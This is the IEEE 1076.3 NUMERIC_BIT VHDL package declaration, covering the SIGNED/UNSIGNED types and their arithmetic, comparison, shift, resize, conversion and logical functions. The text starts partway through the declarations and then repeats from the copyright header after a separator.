-- Result: Subtracts a SIGNED vector, R, from an INTEGER, L.
--============================================================================
-- Id: A.15
function "*" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+R'LENGTH-1) downto 0).
-- Result: Performs the multiplication operation on two UNSIGNED vectors
-- that may possibly be of different lengths.
-- Id: A.16
function "*" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies two SIGNED vectors that may possibly be of
-- different lengths.
-- Id: A.17
function "*" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+L'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, L, with a non-negative
-- INTEGER, R. R is converted to an UNSIGNED vector of
-- size L'LENGTH before multiplication.
-- Id: A.18
function "*" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((R'LENGTH+R'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, R, with a non-negative
-- INTEGER, L. L is converted to an UNSIGNED vector of
-- size R'LENGTH before multiplication.
-- Id: A.19
function "*" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+L'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, L, with an INTEGER, R. R is
-- converted to a SIGNED vector of size L'LENGTH before
-- multiplication.
-- Id: A.20
function "*" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((R'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, R, with an INTEGER, L. L is
-- converted to a SIGNED vector of size R'LENGTH before
-- multiplication.
--============================================================================
--
-- NOTE: If second argument is zero for "/" operator, a severity level
-- of ERROR is issued.
-- Id: A.21
function "/" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by another UNSIGNED vector, R.
-- Id: A.22
function "/" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an SIGNED vector, L, by another SIGNED vector, R.
-- Id: A.23
function "/" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by a non-negative INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.24
function "/" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Divides a non-negative INTEGER, L, by an UNSIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.25
function "/" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides a SIGNED vector, L, by an INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.26
function "/" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Divides an INTEGER, L, by a SIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "rem" operator, a severity level
-- of ERROR is issued.
-- Id: A.27
function "rem" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are UNSIGNED vectors.
-- Id: A.28
function "rem" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are SIGNED vectors.
-- Id: A.29
function "rem" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is an UNSIGNED vector and R is a
-- non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.30
function "rem" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is an UNSIGNED vector and L is a
-- non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.31
function "rem" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is SIGNED vector and R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.32
function "rem" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is SIGNED vector and L is an INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "mod" operator, a severity level
-- of ERROR is issued.
-- Id: A.33
function "mod" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are UNSIGNED vectors.
-- Id: A.34
function "mod" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are SIGNED vectors.
-- Id: A.35
function "mod" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an UNSIGNED vector and R
-- is a non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.36
function "mod" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where R is an UNSIGNED vector and L
-- is a non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.37
function "mod" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is a SIGNED vector and
-- R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.38
function "mod" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an INTEGER and
-- R is a SIGNED vector.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
-- Comparison Operators
--============================================================================
-- Id: C.1
function ">" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.2
function ">" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.3
function ">" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.4
function ">" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a INTEGER and
-- R is a SIGNED vector.
-- Id: C.5
function ">" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.6
function ">" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a SIGNED vector and
-- R is a INTEGER.
--============================================================================
-- Id: C.7
function "<" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.8
function "<" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.9
function "<" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.10
function "<" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.11
function "<" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.12
function "<" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.13
function "<=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.14
function "<=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.15
function "<=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.16
function "<=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.17
function "<=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.18
function "<=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.19
function ">=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.20
function ">=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.21
function ">=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.22
function ">=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.23
function ">=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.24
function ">=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.25
function "=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.26
function "=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.27
function "=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.28
function "=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.29
function "=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.30
function "=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.31
function "/=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.32
function "/=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.33
function "/=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.34
function "/=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.35
function "/=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.36
function "/=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Shift and Rotate Functions
--============================================================================
-- Id: S.1
function SHIFT_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits are lost.
-- Id: S.2
function SHIFT_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT rightmost bits are lost.
-- Id: S.3
function SHIFT_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on a SIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits, except ARG'LEFT, are lost.
-- Id: S.4
function SHIFT_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on a SIGNED vector COUNT times.
-- The vacated positions are filled with the leftmost bit, ARG'LEFT.
-- The COUNT rightmost bits are lost.
--============================================================================
-- Id: S.5
function ROTATE_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-left of an UNSIGNED vector COUNT times.
-- Id: S.6
function ROTATE_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-right of an UNSIGNED vector COUNT times.
-- Id: S.7
function ROTATE_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-left of a SIGNED vector COUNT times.
-- Id: S.8
function ROTATE_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-right of a SIGNED vector COUNT times.
--============================================================================
------------------------------------------------------------------------------
-- Note : Function S.9 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.9
function "sll" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.10 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.10
function "sll" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.11 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.11
function "srl" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.12 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.12
function "srl" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SIGNED(SHIFT_RIGHT(UNSIGNED(ARG), COUNT))
------------------------------------------------------------------------------
-- Note : Function S.13 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.13
function "rol" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.14
function "rol" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.15 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.15
function "ror" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.16 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.16
function "ror" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
--============================================================================
-- RESIZE Functions
--============================================================================
-- Id: R.1
function RESIZE (ARG: SIGNED; NEW_SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the SIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with the sign bit (ARG'LEFT). When truncating,
-- the sign bit is retained along with the rightmost part.
-- Id: R.2
function RESIZE (ARG: UNSIGNED; NEW_SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the UNSIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with '0'. When truncating, the leftmost bits
-- are dropped.
--============================================================================
-- Conversion Functions
--============================================================================
-- Id: D.1
function TO_INTEGER (ARG: UNSIGNED) return NATURAL;
-- Result subtype: NATURAL. Value cannot be negative since parameter is an
-- UNSIGNED vector.
-- Result: Converts the UNSIGNED vector to an INTEGER.
-- Id: D.2
function TO_INTEGER (ARG: SIGNED) return INTEGER;
-- Result subtype: INTEGER
-- Result: Converts a SIGNED vector to an INTEGER.
-- Id: D.3
function TO_UNSIGNED (ARG, SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(SIZE-1 downto 0)
-- Result: Converts a non-negative INTEGER to an UNSIGNED vector with
-- the specified size.
-- Id: D.4
function TO_SIGNED (ARG: INTEGER; SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(SIZE-1 downto 0)
-- Result: Converts an INTEGER to a SIGNED vector of the specified size.
--============================================================================
-- Logical Operators
--============================================================================
-- Id: L.1
function "not" (L: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.2
function "and" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.3
function "or" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.4
function "nand" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.5
function "nor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.6
function "xor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.7 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.7
function "xnor" (L, R: UNSIGNED) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
-- Id: L.8
function "not" (L: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.9
function "and" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.10
function "or" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.11
function "nand" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.12
function "nor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.13
function "xor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.14
function "xnor" (L, R: SIGNED) return SIGNED; --V93
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
--============================================================================
-- Edge Detection Functions
--============================================================================
-- Id: E.1
function RISING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '0' to a '1'.
-- Id: E.2
function FALLING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '1' to a '0'.
end NUMERIC_BIT;
|
-- -----------------------------------------------------------------------------
--
-- Copyright 1995 by IEEE. All rights reserved.
--
-- This source file is considered by the IEEE to be an essential part of the use
-- of the standard 1076.3 and as such may be distributed without change, except
-- as permitted by the standard. This source file may not be sold or distributed
-- for profit. This package may be modified to include additional data required
-- by tools, but must in no way change the external interfaces or simulation
-- behaviour of the description. It is permissible to add comments and/or
-- attributes to the package declarations, but not to change or delete any
-- original lines of the approved package declaration. The package body may be
-- changed only in accordance with the terms of clauses 7.1 and 7.2 of the
-- standard.
--
-- Title : Standard VHDL Synthesis Package (1076.3, NUMERIC_BIT)
--
-- Library : This package shall be compiled into a library symbolically
-- : named IEEE.
--
-- Developers : IEEE DASC Synthesis Working Group, PAR 1076.3
--
-- Purpose : This package defines numeric types and arithmetic functions
-- : for use with synthesis tools. Two numeric types are defined:
-- : -- > UNSIGNED: represents an UNSIGNED number in vector form
-- : -- > SIGNED: represents a SIGNED number in vector form
-- : The base element type is type BIT.
-- : The leftmost bit is treated as the most significant bit.
-- : Signed vectors are represented in two's complement form.
-- : This package contains overloaded arithmetic operators on
-- : the SIGNED and UNSIGNED types. The package also contains
-- : useful type conversions functions, clock detection
-- : functions, and other utility functions.
-- :
-- : If any argument to a function is a null array, a null array is
-- : returned (exceptions, if any, are noted individually).
--
-- Limitation :
--
-- Note : No declarations or definitions shall be included in,
-- : or excluded from this package. The "package declaration"
-- : defines the types, subtypes and declarations of
-- : NUMERIC_BIT. The NUMERIC_BIT package body shall be
-- : considered the formal definition of the semantics of
-- : this package. Tool developers may choose to implement
-- : the package body in the most efficient manner available
-- : to them.
-- :
-- -----------------------------------------------------------------------------
-- Version : 2.4
-- Date : 12 April 1995
-- -----------------------------------------------------------------------------
package NUMERIC_BIT is
constant CopyRightNotice: STRING
:= "Copyright 1995 IEEE. All rights reserved.";
--============================================================================
-- Numeric array type definitions
--============================================================================
type UNSIGNED is array (NATURAL range <> ) of BIT;
type SIGNED is array (NATURAL range <> ) of BIT;
--============================================================================
-- Arithmetic Operators:
--============================================================================
-- Id: A.1
function "abs" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the absolute value of a SIGNED vector ARG.
-- Id: A.2
function "-" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the value of the unary minus operation on a
-- SIGNED vector ARG.
--============================================================================
-- Id: A.3
function "+" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two UNSIGNED vectors that may be of different lengths.
-- Id: A.4
function "+" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two SIGNED vectors that may be of different lengths.
-- Id: A.5
function "+" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Adds an UNSIGNED vector, L, with a non-negative INTEGER, R.
-- Id: A.6
function "+" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Adds a non-negative INTEGER, L, with an UNSIGNED vector, R.
-- Id: A.7
function "+" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Adds an INTEGER, L(may be positive or negative), to a SIGNED
-- vector, R.
-- Id: A.8
function "+" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Adds a SIGNED vector, L, to an INTEGER, R.
--============================================================================
-- Id: A.9
function "-" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts two UNSIGNED vectors that may be of different lengths.
-- Id: A.10
function "-" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from another SIGNED vector, L,
-- that may possibly be of different lengths.
-- Id: A.11
function "-" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts a non-negative INTEGER, R, from an UNSIGNED vector, L.
-- Id: A.12
function "-" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts an UNSIGNED vector, R, from a non-negative INTEGER, L.
-- Id: A.13
function "-" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts an INTEGER, R, from a SIGNED vector, L.
-- Id: A.14
function "-" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from an INTEGER, L.
--============================================================================
-- Id: A.15
function "*" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+R'LENGTH-1) downto 0).
-- Result: Performs the multiplication operation on two UNSIGNED vectors
-- that may possibly be of different lengths.
-- Id: A.16
function "*" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies two SIGNED vectors that may possibly be of
-- different lengths.
-- Id: A.17
function "*" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+L'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, L, with a non-negative
-- INTEGER, R. R is converted to an UNSIGNED vector of
-- size L'LENGTH before multiplication.
-- Id: A.18
function "*" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
